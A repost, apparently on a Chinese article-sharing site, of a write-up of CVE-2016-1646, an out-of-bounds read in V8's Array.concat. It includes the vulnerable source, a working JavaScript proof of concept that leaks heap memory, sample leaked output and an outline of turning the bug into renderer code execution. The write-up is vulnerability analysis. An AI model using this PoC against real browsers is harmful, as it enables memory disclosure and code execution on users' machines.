打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
cve2016-1646漏洞利用
一、漏洞p.s. The line numbers I mentioned below are referred to this version of v8 (https://chromium.googlesource.com/v8/v8.git/+/163a909154febf5498ee60efe0f4aab09be21515/)The vulnerability lies in function IterateElements (src/builtin.cc:997). The function is to iteratively visit elements of an array.Let us take the visiting on an array containing fast/fast smi elements as an example:From line 1025 in src/builtin.cc 
(function IterateElements):  switch (array->GetElementsKind()) {    case FAST_SMI_ELEMENTS:    case FAST_ELEMENTS:    case FAST_HOLEY_SMI_ELEMENTS:    case FAST_HOLEY_ELEMENTS: {      // Run through the elements FixedArray and use HasElement and GetElement      // to check the prototype for missing elements.      Handle<FixedArray> elements(FixedArray::cast(array->elements()));      int fast_length = static_cast<int>(length);  <-- fast_length keeps its value after entering the iteration below      DCHECK(fast_length <= elements->length());      for (int j = 0; j < fast_length; j++) {        HandleScope loop_scope(isolate);        Handle<Object> element_value(elements->get(j), isolate); <-- get the element with index j (leading to oob access)        if (!element_value->IsTheHole()) {          visitor->visit(j, element_value);        } else {  <-- if it is a hole, it may go to its prototype for the value with index j          Maybe<bool> maybe = JSReceiver::HasElement(array, j);          if (!maybe.IsJust()) return false;          if (maybe.FromJust()) {            // Call GetElement on array, not its prototype, or getters won't            // have the correct receiver.            ASSIGN_RETURN_ON_EXCEPTION_VALUE(                isolate, element_value, Object::GetElement(isolate, array, j),                false);   <-- here we redefine the function to get the value in array's __proto__ with index j                          <-- inside our redefinition function we make the length of the array shorter (< fast_length)            visitor->visit(j, element_value);          }        }      }      break;    }We can see that the for loop iterates for fast_length times which is determined before entering the loop. However, if we keep a hole inside the array at index j and define the function to get the value in the array's __proto__ with index j, we have a chance to shorten the array in the middle of the loop (and force v8 to re-organize the v8 heap). After that, the loop keeps going on and elements->get(j) may lead to an OOB access. Note that in Chrome release version, elements->get(j) has no bound checking as follows.src/objects-inl.h:2362Object* FixedArray::get(int index) const {  SLOW_DCHECK(index >= 0 && index < this->length()); <-- release version does nothing here ;)  return READ_FIELD(this, kHeaderSize + index * kPointerSize);}Similarly, the same issue also lies in another switch case, visiting on an array containing fast double elements.二、POCThe function IterateElements is used in Array.concat() which can be called in javascript to trigger the vulnerability. A simple poc demonstrates an oob access as follows:<html><script language="javascript">
//内存清理
function gc() {  tmp = [];  for (var i = 0; i < 0x100000; i++)    tmp.push(new Uint8Array(10));  tmp = null;}b = new Array(10);b[0] = 0.1; <-- Note that b[1] is a hole!b[2] = 2.1;b[3] = 3.1;b[4] = 4.1;b[5] = 5.1;b[6] = 6.1;b[7] = 7.1;b[8] = 8.1;b[9] = 9.1;b[10] = 10.1;Object.defineProperty(b.__proto__, 1, { <-- define b.__proto__[1] to gain the control in the middle of the loop	get: function () {		b.length = 1; <-- shorten the array		gc(); <-- shrink the memory		return 1;	},	set: function(new_value){        /* some business logic goes here */        value = new_value    }});c = b.concat();for (var i = 0; i < c.length; i++){    document.write(c[i]);    document.write("<br>");}</script></html>my result (it differs):0.113.60739284464e-3132.121995791e-31408.487983164e-3142.121995791e-3142.121995791e-3142.121995791e-3141.9338903543223e-3112.610054822887e-312We get the leaked information on the v8 heap which does not originally belong to that fast double elem array. ;)三、小结We can rely on this single vulnerability to achieve arbitrary code execution in the renderer process (even on x64). The main idea is that 1) Trigger the vulnerability on a fast double elem array, and craft memory layout to make heap addresses lie just after the victim array elements. These heap addresses will be oob accessed later as doubles and thus we got an info leak. 2) Trigger the vulnerability on a fast elem array, and craft memory layout to make controlled addresses lie just after the victim array elements. These crafted addresses will be oob accessed later and considered as v8 object addresses. We can control the data content pointed by these crafted addresses and thus own some ArrayBuffer objects (my choice) fully under our control. After that, arbitrary read/write is easily achieved and the code execution is then straightforward.Refer to the exploit for details. (When an alert pops up, attach the windbg onto the renderer process and continue the execution, the process will trap into a break instruction int3 set by me).Environment:Chrome Stable Version 49.0.2623.87 (64-bit)Windows 10 Version 1511 (10586.164)
本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
javascript实现简单的Map示例介绍_javascript技巧_脚本之家
js封装map
【Leetcode】396. Rotate Function
Python Tips, Tricks, and Hacks
Extending JavaScript Objects and Classes
Ext | Ext JS 5.1.0
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服